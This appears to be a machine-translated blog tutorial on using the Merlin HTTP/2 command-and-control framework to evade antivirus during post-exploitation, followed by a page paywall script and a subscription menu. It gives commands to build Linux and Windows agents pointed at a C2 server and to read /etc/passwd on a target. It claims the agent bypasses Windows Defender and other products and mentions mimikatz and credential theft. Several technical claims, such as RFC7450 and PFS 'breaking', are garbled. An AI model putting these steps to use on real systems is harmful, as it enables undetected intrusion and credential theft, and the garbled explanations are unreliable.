How to bypass antivirus protection

Figure 1 shows how Merlin can be used during a pentest.

Merlin is an HTTP/2 Command & Control (C&C) server for multi-platform Post exploitation written in Golang. Merlin is based on a client-server architecture and uses the HTTP/2 protocol for communication between server and host agents

Security Bypass with HTTP/2

By using the HTTP/2 protocol during Merlin connections, we achieve better network resource utilization and lower perception of latency by introducing header compression and allowing multiple concurrent communications on the connection itself. This new protocol has been validated against RFC7450 and can be seen as a way to solve some of the HTTP/1.x problems.

Since this is a new protocol, it will cause problems on IDS/IPS devices.

In short, existing tools are not equipped to or validate this protocol. Also, HTTP/2 is a binary protocol which makes it more compact, easy to parse and not user readable without using AV.

Today, security devices cannot understand the HTTP/2 protocol and are even able to decrypt network traffic for control. The combination of encryption and the lack of protocol support from inspection tools provides an excellent opportunity to avoid detection.

In this step, we will show how Merlin can be used to establish C&C communications during a pentest.

Let's start by downloading Merlin from the GitHub page. To do this, we need to enter the following command in our terminal. Please note that the Kali Linux distribution was used to run this wizard.

git clone https://github.com/Ne0nd0g/merlin.git

Next, you need to create an SSL certificate to use the encryption channel and establish connections between the server and host agents. The resulting files should be created in the "/data/x509" folder with the following command.

Figure 2: Generate SSL key - Merlin server in "/data/x509" folder.

Create a Linux agent

On the Merlin server side, Merlin must be running before the agents can be started. Use the following command:

Rice. 3. O. Merlin server running on localhost: 127.0.0.1:443.

After starting the Linux agent on the central target host, a new connection is made to the Merlin server. To start, you need to use the command, for example:

  • agent list - list of available agents
  • interact [id] - interaction with the specified agent
  • cmd cat /etc/passwd Download the contents of the passwd file located at /etc/passwd
Rice. 4: Merlin connection with Linux agent loaded from "/etc/passwd" file.

In addition, other commands and modules can be used via the command help.

Figure 5: Merlin units available.

Another interesting part of this tool is the ability to create agents for various operating system architectures. The custom-designed payload will then be built on the highly secure, updated Windows 10 operating system.

Performing a Windows Defender scan for this particular agent ( agent_windows.exe), we can verify that it was not detected.

Figure 6: O Merlin Agent for Windows bypasses Windows Defender.

In this case, the Merlin server must run with the following options: -i [local IP address] and -p [local port]. This data was encrypted with a binary system ( agent_windows.exe ).

Figure 7: Start the Merlin server with a specific IP port/port.

The payload avoids detection of its signature in Windows 10 with a fully updated Microsoft Windows Defender.

The agent will then be executed:

Figure 8: O Agent Merlin was running a fully updated Windows 10 bypassing Windows Defender.

A new connection has been received on the Merlin server as shown below.

From here, a set of native Windows commands can be used via the cmd command and several modules such as gathering, mimikatz, sharphound, credential thieves and more.

Figure 9: Merlin server interacting with the Windows agent.

Low AV detection rate.

After the tests were done, the sample was tested on VirusTotal and only 13 out of 68 AVS identified the Merlin agent as malicious.

Figure 10: Low detection rate of the Merlin agent on Windows, as shown in VirusTotal.

Which AV bypasses:

  • Windows Defender
  • Kaspersky
  • Malwarebytes
  • Silence
  • McAfee
  • Symantec
Figure 11: AV bypassed by the Merlin agent.

Finally, Merlin is a cross-platform post-exploitation framework that uses HTTP/2 communication to avoid detection and bypass security devices and AV detection.

HTTP/2 is a relatively new protocol that breaks through Perfect Forward Secretary (PFS) encrypted packets. AV avoidance is achieved each time a new Merlin agent is created. Golang is a great tool with the ability to create standalone binaries in a single binary and has many features that make it a very powerful language. Another interesting detail is that it has been compiled to native code, so it has good performance and can bypass its detection because of that.

openssl req -x509 -newkey rsa:4096 -sha256 -nodes -keyout server.key -out server.crt -subj “/CN=infosecinstitute” -day 7

GOOS=linux GOARCH=amd64 go build -ldflags "-X main.url=https://127.0.0.1:443" -o agent_linux main.go

#run the agent on the target host

chmod + x agent_linux && ./agent_linux

sudo go run cmd /merlinserver/main.go -i [ip-address]

GOOS=windows GOARCH=amd64 go build -ldflags "-X main.url=https://192.168.0.165:8080" -o agent_windows.exe main.

go run cmd /merlinserver/main.go -i 192.168.0.165 -p 8080

function blurContent() { const postContent = document.querySelector('.post-body'); if (!postContent) return; // Reset if already blurred if (postContent.classList.contains('already-blurred')) { resetBlur(); } postContent.classList.add('already-blurred'); originalNodes = []; const textNodes = []; function getTextNodes(node) { if (node.nodeType === Node.TEXT_NODE && node.nodeValue.trim() !== '') { textNodes.push(node); } else if ( node.nodeType === Node.ELEMENT_NODE && !['H1', 'H2', 'H3'].includes(node.tagName) ) { node.childNodes.forEach(getTextNodes); } } getTextNodes(postContent); const totalWords = textNodes.reduce( (count, node) => count + node.nodeValue.trim().split(/\s+/).length, 0 ); const visibleWords = Math.ceil(totalWords * 0.1); let wordCount = 0; textNodes.forEach((node) => { const words = node.nodeValue.trim().split(/\s+/); if (wordCount >= visibleWords) { const blurredSpan = document.createElement('span'); blurredSpan.classList.add('blurred'); blurredSpan.innerText = words.join(' '); originalNodes.push({ blurred: blurredSpan, original: node }); node.replaceWith(blurredSpan); } else if (wordCount + words.length > visibleWords) { const visiblePart = words.slice(0, visibleWords - wordCount).join(' '); const hiddenPart = words.slice(visibleWords - wordCount).join(' '); const visibleTextNode = document.createTextNode(visiblePart + ' '); const blurredSpan = document.createElement('span'); blurredSpan.classList.add('blurred'); blurredSpan.innerText = hiddenPart; originalNodes.push({ blurred: blurredSpan, original: node }); node.replaceWith(visibleTextNode, blurredSpan); } wordCount += words.length; }); // Blur images after the first two and before the last one const images = postContent.querySelectorAll('img'); images.forEach((img, index) => { if (index >= 2 && index < images.length - 1) { img.classList.add('blurred-image'); img.style.pointerEvents = "none"; } }); // Add lock message const firstParagraph = postContent.querySelector('p'); if (firstParagraph && !document.querySelector('.lock-message')) { const lockMessage = document.createElement('div'); lockMessage.classList.add('lock-message'); lockMessage.innerHTML = '🔒 This content is locked. Click to unlock the full post.'; firstParagraph.insertAdjacentElement('afterend', lockMessage); lockMessage.addEventListener('click', async function () { const isSubscribed = localStorage.getItem('isSubscribed') === 'true'; if (isSubscribed) { unlockContent(); // localStorage.clear(); return; } let lastsubdate = localStorage.getItem('lastsubdate'); if (!lastsubdate || lastsubdate.length !== 10) { lastsubdate = await chkusbtm(); localStorage.setItem('lastsubdate', lastsubdate); } // Parse the 10-digit string to datetime const minutes = lastsubdate.slice(0, 2); const hours = lastsubdate.slice(2, 4); const day = lastsubdate.slice(4, 6); const month = lastsubdate.slice(6, 8); const year = '20' + lastsubdate.slice(8, 10); const expiryDate = new Date(`${year}-${month}-${day}T${hours}:${minutes}:00`); const timeLeft = expiryDate.getTime() - Date.now(); if (timeLeft > 0) { localStorage.setItem('isSubscribed', 'true'); unlockContent(); } else { localStorage.setItem('isSubscribed', 'false'); showPopup(); } }); } // Add styles const style = document.createElement('style'); style.innerHTML = ` .blurred { filter: blur(6px); user-select: none; position: relative; } .blurred-image { filter: blur(10px); user-select: none; pointer-events: none; position: relative; } .lock-message { background: #ffecec; color: #d9534f; padding: 10px; border: 1px solid #d9534f; text-align: center; font-weight: bold; margin: 15px 0; border-radius: 5px; cursor: pointer; } .lock-message:hover { background: #f8d7da; } `; document.head.appendChild(style); } function unlockContent() { document.querySelectorAll('.blurred').forEach((el) => { el.classList.remove('blurred'); }); document.querySelectorAll('.blurred-image').forEach((img) => { img.classList.remove('blurred-image'); img.style.pointerEvents = "auto"; }); const lockMessage = document.querySelector('.lock-message'); if (lockMessage) { lockMessage.style.display = "none"; } localStorage.setItem('contentLocked', 'false'); } function resetBlur() { originalNodes.forEach(({ blurred, original }) => { blurred.replaceWith(original); }); document.querySelectorAll('.blurred-image').forEach((img) => { img.classList.remove('blurred-image'); img.style.pointerEvents = "auto"; }); const lockMessage = document.querySelector('.lock-message'); if (lockMessage) lockMessage.remove(); document.querySelector('.post-body')?.classList.remove('already-blurred'); originalNodes = []; }

VIP Center

Loading ID...
Not Subscribed
View Service Agreement
Choose Your Plan
For new users
1 Day VIP
$1
$1.50
$1 per day
Discount
1 Week VIP
$4.99
$6.93
$0.71 per day
Discount
1 Month VIP
$19.99
$29.70
$0.66 per day
Best value with monthly subscription! Get full VIP access at just $0.66 per day.
Amount will be converted automatically at current rates
Payment Method
FW
Flutterwave